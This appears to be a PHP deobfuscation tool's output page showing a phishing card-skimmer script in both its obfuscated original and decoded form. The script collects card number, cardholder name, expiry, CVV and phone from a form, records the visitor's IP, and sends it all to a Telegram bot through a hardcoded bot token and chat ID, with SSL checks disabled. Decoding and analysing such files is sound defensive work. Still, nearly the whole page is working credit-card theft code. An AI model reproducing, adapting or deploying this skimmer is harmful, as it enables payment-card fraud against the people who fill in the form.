Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (empty($_POST["\x63\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\..
Decoded Output download
<?php
if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "7259657097:AAFIqmlLxLIXTNCS4mEZB8doJ228HMh1Uog"; $chatId = "7247977376"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>
Did this file decode correctly?
Original Code
<?php
if (empty($_POST["\x63\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\156"]) > 50) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\x6e"]) < 1) { $nameErr = "\40"; } else { $cn = $_POST["\x63\x6e"]; $nm = $_POST["\156\x6d"]; $mm = $_POST["\155\x6d"]; $yy = $_POST["\171\171"]; $cvv = $_POST["\x63\x76\166"]; $phone = $_POST["\x70\x68\x6f\x6e\x65"]; $ip = getenv("\122\x45\x4d\x4f\124\x45\x5f\101\104\x44\x52"); $port = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\x50\x4f\122\124"]; $hostname = gethostbyaddr($ip); $botToken = "\x37\62\65\x39\x36\65\67\x30\x39\x37\72\x41\x41\106\111\x71\x6d\154\114\170\114\x49\130\x54\116\103\123\x34\x6d\x45\x5a\102\x38\x64\x6f\x4a\62\x32\70\x48\x4d\150\x31\x55\157\x67"; $chatId = "\x37\62\x34\x37\x39\67\67\63\x37\66"; $url = "\x68\x74\164\160\x73\x3a\57\x2f\141\x70\x69\56\164\x65\154\x65\147\x72\141\155\x2e\x6f\162\147\x2f\x62\x6f\x74{$botToken}\x2f\163\x65\x6e\x64\x4d\145\163\x73\141\147\x65\x3f\143\x68\x61\x74\x5f\151\x64\75{$chatId}\46\x74\145\x78\x74\x3d\143\x61\162\x64\x20\x6e\x6f\x3a\40{$cn}\45\60\101\143\x61\162\x64\40\156\141\155\145\72\40{$nm}\x25\x30\101\x63\141\162\x64\x20\x65\170\160\x20\x6d\x6f\156\x74\150\72\x20{$mm}\45\60\101\x63\141\162\x64\x20\x65\x78\x70\x20\x79\x65\x61\x72\x3a\x20{$yy}\45\x30\x41\x63\166\166\62\x3a\40{$cvv}\x25\x30\x41\x50\150\157\x6e\x65\72\40{$phone}\45\60\x41\103\154\151\145\x6e\x74\x20\151\x70\72\x20{$ip}\45\60\101\75\75\x3d\75\75\75\x3d\x3d\x3d\x3d\x3d\75\x3d\x2b\x20\133\40\103\x72\145\141\164\145\x64\40\142\x79\40\117\x6d\145\x47\x61\114\157\162\104\40\135\40\53\75\x3d\75\75\x3d\x3d\75\x3d\75\x3d\x3d\75\x3d"; $streamOptions = array("\163\163\x6c" => array("\166\x65\x72\151\146\171\137\x70\x65\145\x72" => false, "\x76\145\x72\x69\146\171\x5f\160\x65\145\x72\137\156\x61\155\145" => false), "\150\164\x74\160" => array("\x6d\145\164\150\x6f\x64" => "\120\x4f\x53\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\x72", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>
Function Calls
| None |
Stats
| MD5 | 779453225d0f63d856a2456a803e7e0c |
| Eval Count | 0 |
| Decode Time | 41 ms |